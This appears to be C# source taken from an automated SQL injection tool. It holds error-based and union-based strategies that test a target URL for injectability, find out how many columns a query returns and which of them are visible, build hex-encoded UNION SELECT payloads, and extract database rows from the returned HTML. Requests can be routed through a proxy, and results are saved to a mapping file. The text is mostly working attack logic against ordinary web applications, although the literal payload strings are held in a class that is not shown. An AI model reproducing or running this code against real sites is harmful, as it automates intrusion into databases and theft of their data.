public string GetSingleCustomQueryResultRow(int startingFrom)
{
string result = string.Empty;
string generatedPayload = PayloadDetails.Payload;
if (PayloadDetails.Params != null && PayloadDetails.Params.Count() > 0)
{
foreach (var param in PayloadDetails.Params)
{
generatedPayload = generatedPayload.Replace("{" + param.Position + "}", PayloadHelpers.GetData(param.Name, this));
}
}
if (PayloadDetails.ExpectedResultType == Enums.ExpectedResultType.Multiple)
{
generatedPayload = string.Format(PayloadHelpers.GetSingleResultLimiter(PayloadDetails.Dbms),
generatedPayload, startingFrom);
}
string query = QueryHelper.CreateQuery(Url, ExploitDetails.Exploit, generatedPayload);
string pageHtml = QueryRunner.GetPageHtml(query, UseProxy ? ProxyDetails : null);
result = HtmlHelpers.GetAnswerFromHtml(pageHtml, query, ExploitDetails, DetailedExceptions);
//@TODO: strip scripts
if (!string.IsNullOrEmpty(MappingFile) && !string.IsNullOrEmpty(result))
{
XmlHelpers.SaveToMappingFile(MappingFile, PayloadDetails, result, this,
(this.ExploitDetails != null) ? this.ExploitDetails.Dbms : string.Empty);
}
return(result);
}
public bool TestIfVulnerable()
{
string query = QueryHelper.CreateQuery(Url, ExploitDetails.Exploit, GeneralPayloads.ErrorBasedVictimIdentifier);
string pageHtml = QueryRunner.GetPageHtml(query, UseProxy ? ProxyDetails : null);
var result = HtmlHelpers.GetAnswerFromHtml(pageHtml, query, ExploitDetails, DetailedExceptions);
return(!string.IsNullOrEmpty(result) && result == GeneralPayloads.ErrorBasedVictimConfirmationResult);
}
public int GetTotalNoOfCustomQueryResultRows()
{
int count = 0;
string generatedpayload = string.Empty;
if (PayloadDetails == null)
{
return(0);
}
if (string.IsNullOrEmpty(PayloadDetails.Payload))
{
return(0);
}
if (PayloadDetails.ExpectedResultType == Enums.ExpectedResultType.Single)
{
return(1);
}
generatedpayload = PayloadDetails.Payload;
if (PayloadDetails.Params != null && PayloadDetails.Params.Count() > 0)
{
foreach (var param in PayloadDetails.Params)
{
generatedpayload = generatedpayload.Replace("{" + param.Position + "}", PayloadHelpers.GetData(param.Name, this));
}
}
generatedpayload = /*UrlHelpers.HexEncodeValue(*/ string.Format(GeneralPayloads.QueryResultCount, generatedpayload);//);
string query = QueryHelper.CreateQuery(Url, ExploitDetails.Exploit, generatedpayload);
string pageHtml = QueryRunner.GetPageHtml(query, UseProxy ? ProxyDetails : null);
string countString = HtmlHelpers.GetAnswerFromHtml(pageHtml, query, ExploitDetails, DetailedExceptions);
int.TryParse(countString, out count);
return(count);
}
public string GetIp(ref string error)
{
string result = string.Empty;
string pageHtml = string.Empty;
if (_details != null)
{//@TODO: baga asta intr-un thread
try
{
pageHtml = QueryRunner.GetPageHtml(_details.Url, UseProxy ? ProxyDetails : null);
}
catch (Exception ex)
{
error = "Can not obtain IP, error from ip obtainer website or erroneous bounds defined in configuration file";
}
result = GetAnswerFromHtml(pageHtml, ref error);
}
else
{
error = "Can not obtain IP, missing or erroneous configuration(ipcheckers.xml)";
}
return(result);
}
public string GetSingleCustomQueryResultRow(int startingFrom)
{
string results = string.Empty;
StringBuilder sbResult = new StringBuilder();
string generatedPayload = PayloadDetails.Payload;
if (PayloadDetails.Params != null && PayloadDetails.Params.Count() > 0)
{
foreach (var param in PayloadDetails.Params)
{
generatedPayload = generatedPayload.Replace("{" + param.Position + "}", PayloadHelpers.GetData(param.Name, this));
}
}
StringBuilder sbCurExploit = new StringBuilder();
int columnIndexCounter = 0;
string generatedPayloadWithLimit = string.Empty;
for (int j = 0; j < _nrCols; j++)
{
if (PayloadDetails.ExpectedResultType == Enums.ExpectedResultType.Multiple)
{
generatedPayloadWithLimit = string.Format(PayloadHelpers.GetSingleResultLimiter(PayloadDetails.Dbms), generatedPayload, startingFrom + j);
}
if (_visibleColumnIndexes.Contains(j))
{
/*
* sbCurExploit.AppendFormat(GeneralPayloads.UnionBasedSelectCountedResultWrapper, _visibleColumnIndexes[columnIndexCounter],
* (PayloadDetails.ExpectedResultType == Enums.ExpectedResultType.Multiple) ? generatedPayloadWithLimit : generatedPayload);
*/
sbCurExploit.Append(GeneralPayloads.UnionBasedSelectCountedResultWrapperPart1);
sbCurExploit.Append(UrlHelpers.HexEncodeValue(string.Format(GeneralPayloads.UnionBasedSelectCountedResultWrapperPart2,
_visibleColumnIndexes[columnIndexCounter])));
sbCurExploit.AppendFormat(GeneralPayloads.UnionBasedSelectCountedResultWrapperPart3,
(PayloadDetails.ExpectedResultType == Enums.ExpectedResultType.Multiple) ? generatedPayloadWithLimit : generatedPayload);
columnIndexCounter++;
}
else
{
sbCurExploit.AppendFormat(j.ToString());
}
if (j < _nrCols - 1)
{
sbCurExploit.Append(",");
}
}
string query = QueryHelper.CreateQuery(Url, ExploitDetails.Exploit, sbCurExploit.ToString());
string pageHtml = QueryRunner.GetPageHtml(query, UseProxy ? ProxyDetails : null);
IList <string> resultsBatch = HtmlHelpers.GetMultipleAnswersFromHtml(pageHtml, query, ExploitDetails, DetailedExceptions);
string actualValue = string.Empty;
int separatorIndex = 0;
int columnIndex = 0;
string columnIndexString = "";
IList <int> columnsProcessed = new List <int>();
foreach (string singleResult in resultsBatch)
{
//@TODO: strip scripts
separatorIndex = singleResult.IndexOf(GeneralPayloads.UnionBasedResultSeparator);
if (separatorIndex != -1)
{
columnIndexString = singleResult.Substring(0, separatorIndex);
if (!int.TryParse(columnIndexString, out columnIndex))
{
continue;
}
if (columnsProcessed.Contains(columnIndex))
{
continue;
}
else
{
columnsProcessed.Add(columnIndex);
}
actualValue = singleResult.Substring(separatorIndex + GeneralPayloads.UnionBasedResultSeparator.Length);
if (!string.IsNullOrEmpty(MappingFile))
{
XmlHelpers.SaveToMappingFile(MappingFile, PayloadDetails, actualValue, this,
(this.ExploitDetails != null) ? this.ExploitDetails.Dbms : string.Empty);
}
sbResult.Append(actualValue);
sbResult.Append(Environment.NewLine);
}
if (columnsProcessed.Count == _visibleColumnIndexes.Count)
{
break;
}
}
return(sbResult.ToString());
}
public int GetTotalNoOfCustomQueryResultRows()
{
if (_nrCols == 0 || _nrVisibleCols == 0 || _visibleColumnIndexes.Count() == 0)
{
if (!TestIfVulnerable())
{
throw new SqlInjException("Given script is not injectable using current injection strategy");
}
}
int count = 0;
string generatedpayload = string.Empty;
if (PayloadDetails == null)
{
return(0);
}
if (string.IsNullOrEmpty(PayloadDetails.Payload))
{
return(0);
}
if (PayloadDetails.ExpectedResultType == Enums.ExpectedResultType.Single)
{
return(1);
}
generatedpayload = PayloadDetails.Payload;
if (PayloadDetails.Params != null && PayloadDetails.Params.Count() > 0)
{
foreach (var param in PayloadDetails.Params)
{
generatedpayload = generatedpayload.Replace("{" + param.Position + "}", PayloadHelpers.GetData(param.Name, this));
}
}
generatedpayload = string.Format(GeneralPayloads.QueryResultCount, generatedpayload);
StringBuilder sbCurExploit = new StringBuilder();
sbCurExploit.AppendFormat(GeneralPayloads.UnionBasedSelectResultWrapper, generatedpayload);
if (_nrCols > 1)
{
sbCurExploit.Append(",");
}
for (int j = 1; j < _nrCols; j++)
{
sbCurExploit.Append(j.ToString());
if (j < _nrCols - 1)
{
sbCurExploit.Append(",");
}
}
string query = QueryHelper.CreateQuery(Url, ExploitDetails.Exploit, sbCurExploit.ToString());
string pageHtml = QueryRunner.GetPageHtml(query, UseProxy ? ProxyDetails : null);
var result = HtmlHelpers.GetAnswerFromHtml(pageHtml, query, ExploitDetails, DetailedExceptions);
int.TryParse(result, out count);
return(count);
}
public bool TestIfVulnerable()
{
bool result = false;
StringBuilder sbCurExploit = new StringBuilder();
string query = string.Empty;
string pageHtml = string.Empty;
if (string.IsNullOrEmpty(Url))
{
throw new Exception("No url provided so cannot test vulnerability");
}
for (int i = 0; i < _maxCols; i++)
{
if (i > 0)
{
sbCurExploit.Append(",");
}
//sbCurExploit.AppendFormat(GeneralPayloads.UnionBasedSelectValue,i);
sbCurExploit.Append(UrlHelpers.HexEncodeValue(string.Format(GeneralPayloads.UnionBasedSelectValue, i)));
//ExploitDetails - check if null because it breaks
query = QueryHelper.CreateQuery(Url, ExploitDetails.Exploit, sbCurExploit.ToString());
pageHtml = QueryRunner.GetPageHtml(query, UseProxy ? ProxyDetails : null);
if (pageHtml.Contains(GeneralPayloads.UnionBasedErrorMessage) && !pageHtml.Contains(GeneralPayloads.UnionBasedTestValue))
{
continue;
}
else
{
if (i > 0)
{
_nrCols = i + 1;
var stringResults = HtmlHelpers.GetMultipleAnswersFromHtml(pageHtml, query, ExploitDetails, DetailedExceptions);
_visibleColumnIndexes = stringResults.Where(r => !string.IsNullOrEmpty(r)).Distinct().Select(r => int.Parse(r)).ToList();
_nrVisibleCols = _visibleColumnIndexes.Count();
if (_nrVisibleCols > 0)
{
#region write to mapping file
if (!string.IsNullOrEmpty(MappingFile))
{
XmlHelpers.ChangeMappingFileElementValue(MappingFile, "/map/injection-strategy/columns/originalquery", _nrCols.ToString(),
this, (this.ExploitDetails != null) ? this.ExploitDetails.Dbms : string.Empty);
XmlHelpers.ChangeMappingFileElementValue(MappingFile, "/map/injection-strategy/columns/resultinghtml",
_nrVisibleCols.ToString(), this, (this.ExploitDetails != null) ? this.ExploitDetails.Dbms : string.Empty);
XmlHelpers.ChangeMappingFileElementValue(MappingFile, "/map/injection-strategy/columns/indexes",
ListHelpers.ListToCommaSeparatedValues(_visibleColumnIndexes),
this, (this.ExploitDetails != null) ? this.ExploitDetails.Dbms : string.Empty);
}
#endregion write to mapping file
result = true;
}
else
{
result = false;
break;
}
}
else
{
result = false;
}
break;
}
}
return(result);
}